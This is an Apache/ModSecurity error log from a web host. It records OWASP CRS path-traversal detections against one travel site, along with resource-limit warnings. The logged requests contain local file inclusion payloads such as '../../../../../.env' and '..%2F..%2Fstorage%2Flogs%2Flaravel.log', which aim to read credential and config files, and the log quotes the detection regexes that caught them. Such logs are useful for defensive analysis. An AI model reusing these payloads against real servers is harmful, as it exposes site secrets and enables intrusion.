[tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.622658 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../../../.env&debug=wp-ybwj1qv6ry5jy9ux3oplaqbbvhhelhcb2scpsc9cab6k619_lkuplwn7y8zgoeu8cdwv-uiff1boar8iokqz308m8w9yy_ukb2olh89qxrexreue-onj7m9u0u8l29sau4mf4wxlelu9zrz7upbhw2biyal3sqmcabszefkreur1-1zvqtngucycdnov3v6yk8d2ex5jhvmeobabvswjnflwzrnwf5hhnxnia8ihfw_bq_5twftx_0wfsikqpzbigssbr30x-u_-cs6vxs23m&ref=hmczk4tdvjbj5t2evcrjqdovqp6hw6ermmmyxlmq62k7vudjzvnl56d7gjn5ljjjrrv6snsad3toce3bzffz3muplecvisobltdgvts5lokav4bphgcgm66li4bmpl6gwwzveedbzgcilj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.622678 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.622701 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.623886 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.624017 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.624291 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.626349 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2Fstorage%2Flogs%2Flaravel.log&cb=BrRLgPKs0YiNUpQr8NifSSMyxPFSGReu2oiE96Wbz4TYBk5yFhPeSDlMpB_b4qoyfNvlXpjo9hjbohjAJ1Chpd-96TvYFfp1kXxyvUeq_-BK94QIN5n0kjBTrVbvTgbVfCLk5RT-zwO6_prjCZIK6ardR6l9C5xYsL84cuUQmPvj2kprCD4WEWYpxmDXmtYJ_4wboNnusmx5IFYVRh1Bm6cXl_LSf9H5PlsHHTo3Cl9mXCinPNhB-_HZoQ07Xh8RWHFvih5pe3NwokgC4Aopnaj3&junk=JRMQMNCHSHLCIFAWPVYMPBMCSQYXPYHMLYMBBFQMANHJ6TVRXODLS6VMFKIX4EBVVSDAZB6EEDEZOTNMX5W74STDOE2MDFXRLJ6C5EFBPJDB4HQQO7KXS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.626396 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.626431 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mAAAAAw"]
[Fri Jul 17 08:55:06.626452 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../storage/logs/laravel.log&cb=BrRLgPKs0YiNUpQr8NifSSMyxPFSGReu2oiE96Wbz4TYBk5yFhPeSDlMpB_b4qoyfNvlXpjo9hjbohjAJ1Chpd-96TvYFfp1kXxyvUeq_-BK94QIN5n0kjBTrVbvTgbVfCLk5RT-zwO6_prjCZIK6ardR6l9C5xYsL84cuUQmPvj2kprCD4WEWYpxmDXmtYJ_4wboNnusmx5IFYVRh1Bm6cXl_LSf9H5PlsHHTo3Cl9mXCinPNhB-_HZoQ07Xh8RWHFvih5pe3NwokgC4Aopnaj3&junk=JRMQMNCHSHLCIFAWPVYMPBMCSQYXPYHMLYMBBFQMANHJ6TVRXODLS6VMFKIX4EBVVSDAZB6EEDEZOTNMX5W74STDOE2MDFXRLJ6C5EFBPJDB4HQQO7KXS6J553NXSGH2SRXD4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.626462 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mAAAAAw"]
[Fri Jul 17 08:55:06.626494 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../storage/logs/laravel.log&cb=brrlgpks0yinupqr8nifssmyxpfsgreu2oie96wbz4tybk5yfhpesdlmpb_b4qoyfnvlxpjo9hjbohjaj1chpd-96tvyffp1kxxyvueq_-bk94qin5n0kjbtrvbvtgbvfclk5rt-zwo6_prjczik6ardr6l9c5xysl84cuuqmpvj2kprcd4wewypxmdxmtyj_4wbonnusmx5ifyvrh1bm6cxl_lsf9h5plshhto3cl9mxcinpnhb-_hzoq07xh8rwhfvih5pe3nwokgc4aopnaj3&junk=jrmqmnchshlcifawpvympbmcsqyxpyhmlymbbfqmanhj6tvrxodls6vmfkix4ebvvsdazb6eedezotnmx5w74stdoe2mdfxrlj6c5efbpjdb4hqqo7kxs6j553nxsgh2srxd4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.626522 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.626549 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.627752 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.627876 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.628429 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBPwAAABs"]
[Fri Jul 17 08:55:06.629760 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&token=2vF5m-D9iUM_7-VjG0g3QuSkUUmBDQ1LUjtpDB88l80zez1FpCmpUE-EuKJjc_GjgVEuyyDCKK7bSwNl8sodrPHyz0xjihT1rxy7g5aMDnfGCGOfmtRYoMaL3sREW7RyNHMUrIhseQMEOJXTsXcuaHjsPToe-lerKTibE9Zyg_m8shPDGMnabRvhs5bCYmI52oCLijUr5XoyMdgEHK2bUkiQCZ9QmskUoTYgtzVoR2oXVL4iczNj-vKgAi0wfhm0jiXr4JP-goiZTrSFqUAAy9RO&ref=3IH7FHUR3VIT7T6PEI2DYHWWV3Z6BJE2MDEDHBKREY4PJCHVS7V5EO6HBOAJ4O2YFTVWRT6J4QYKFVBX6NX67BCUICJ55R4PCZKFOLVLFBWNMQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.629814 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.629865 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../storage/logs/laravel.log&token=2vF5m-D9iUM_7-VjG0g3QuSkUUmBDQ1LUjtpDB88l80zez1FpCmpUE-EuKJjc_GjgVEuyyDCKK7bSwNl8sodrPHyz0xjihT1rxy7g5aMDnfGCGOfmtRYoMaL3sREW7RyNHMUrIhseQMEOJXTsXcuaHjsPToe-lerKTibE9Zyg_m8shPDGMnabRvhs5bCYmI52oCLijUr5XoyMdgEHK2bUkiQCZ9QmskUoTYgtzVoR2oXVL4iczNj-vKgAi0wfhm0jiXr4JP-goiZTrSFqUAAy9RO&ref=3IH7FHUR3VIT7T6PEI2DYHWWV3Z6BJE2MDEDHBKREY4PJCHVS7V5EO6HBOAJ4O2YFTVWRT6J4QYKFVBX6NX67BCUICJ55R4PCZKFOLVLFBWNMQJT6A22JWJ5PAFBCP7Z..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.629895 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../storage/logs/laravel.log&token=2vf5m-d9ium_7-vjg0g3quskuumbdq1lujtpdb88l80zez1fpcmpue-eukjjc_gjgveuyydckk7bswnl8sodrphyz0xjiht1rxy7g5amdnfgcgofmtryomal3srew7rynhmurihseqmeojxtsxcuahjsptoe-lerktibe9zyg_m8shpdgmnabrvhs5bcymi52oclijur5xoymdgehk2bukiqcz9qmskuotygtzvor2oxvl4icznj-vkgai0wfhm0jixr4jp-goiztrsfquaay9ro&ref=3ih7fhur3vit7t6pei2dyhwwv3z6bje2mdedhbkrey4pjchvs7v5eo6hboaj4o2yftvwrt6j4qykfvbx6nx67bcuicj55r4pczkfolvlfbwnmqjt6a22jwj5pafbcp7z..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.629923 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.629944 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.630440 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUwAAAAE"]
[Fri Jul 17 08:55:06.630473 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUwAAAAE"]
[Fri Jul 17 08:55:06.630541 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mAAAAAw"]
[Fri Jul 17 08:55:06.630676 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.630928 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95mAAAAAw"]
[Fri Jul 17 08:55:06.631213 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTAAAABI"]
[Fri Jul 17 08:55:06.631353 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
